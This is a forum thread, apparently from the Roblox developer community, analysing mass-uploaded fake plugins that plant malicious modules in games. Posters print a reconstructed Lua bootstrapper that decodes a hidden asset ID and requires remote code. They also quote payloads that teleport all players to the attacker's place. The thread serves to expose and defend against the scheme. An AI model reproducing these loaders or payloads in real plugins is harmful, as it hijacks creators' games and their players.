This person “PluginCreator” seems to be copying the name/description of popular plugins and uploading a large mass of them.
Here’s an example; @EchoReaper’s CSG intersect plugin. There are many duplicates of the plugin with the name which makes finding the plugin hard.
I don’t know if this plugin attempts to actually copy scripts or other stuff, maybe even an encode of the entire place, within studio upon landing into studio with it installed and sends it to a website for decipher with HttpService.
Verification doesn’t seem like it’d stop the botting problem. Ideally it’d put the real ones up front before the illegitimate ones, but we’d still see users installing malicious plugins or taking malicious models. It also wouldn’t help with non-popular creations. Roblox needs to refine the search so items uploaded by dummy accounts that don’t exhibit any behavior a real human would don’t show up in the results. This could help with clothing copying as well.
We also need a permission system for 3rd-party scripts so users can’t hide require(xxxxxxxx) 1000 columns over in blank space.
After figuring out how, I decided to probe this 1194217533 module.
First, it exits if the module is running in studio, by checking RunService:IsStudio.
Next, it calls GetProductInfo for this place.
It gets the Description field, decodes it as JSON, and gets the “followId” field.
Then it appears to parse this value in some way. By the end, it has another asset ID, which it requires.
The resulting module returns a function which is called immediately.
Then, some function is pcalled every 30 seconds.
Some follow up. I’ve written a wrapper that proxies every value in a function’s environment, allowing me to hook into which APIs are accessed. It also can spoof values, and block access to sensitive APIs.
The 1194217533 module is a bootstrapper. Here’s a somewhat equivalent source based on what I’ve been able to gather:
-- Exit if in studio.
if not game:GetService("RunService"):IsStudio() then
return
end
-- Get remote data.
local PlaceId = 1194188859
local description = game:GetService("MarketplaceService"):GetProductInfo(PlaceId).Description
local followId = game:GetService("HttpService"):JSONDecode(description).followId
-- Decode module ID.
local cipher = {j=0, h=1, y=2, l=3, x=4, b=5, n=6, m=7, k=8, s=9}
local id = ""
for i = 1, #followId do
id = id .. cipher[followId:sub(i,i)]
end
-- Bootstrap module.
require(tonumber(id))()
while true do
wait(30)
s, m = pcall(func()
-- Unknown contents.
-- Does not seem to access any APIs.
-- Throws a "C stack overflow" error
end)
-- Maybe some more stuff that would use `s` and `m` here.
end
It could be made more accurate by hooking bits of the API with debug.traceback, which will leak line numbers within the module.
I’m not sure what the pcalled function is doing. It may be that the wrapper is throwing the error.
This user has uploaded many repeated modules, the latest of which is bootstrapped. Given that the user is already familiar with bots, I think they use a tool that does the following:
Uploads a payload module.
Encodes the module’s asset ID using a simple cipher.
Updates the description of 1194188859 to point to the encoded ID.
On a final note, if you want to harden the security of your private modules, make sure that no returned function accesses its environment table, since it can be easily swapped out with setfenv.
return (function() local players = game:GetService("Players"):GetPlayers()
local ts = game:GetService("TeleportService")
local pid = 1195736381
for _, player in pairs(players) do
ts:Teleport(pid, player)
end end)
Another one teleports to his place
return (function() local players = game.Players:GetPlayers()
local teleportService = game:service'TeleportService'
for i,v in pairs(players) do
teleportService:Teleport(1194188859, v)
end end)
Good work @Anaminus, you’re spot on. However, seems like the guy uses the description to further obscure the purpose. The current value led me to an asset that contains this:
PluginCreator is banned but all his plugins are still around and it really makes it hard to find plugins when 500 out of 530 of your search results are garbage plugins that install malicious module scripts into your game. Is it possible to delete all the plugins that got uploaded by the account?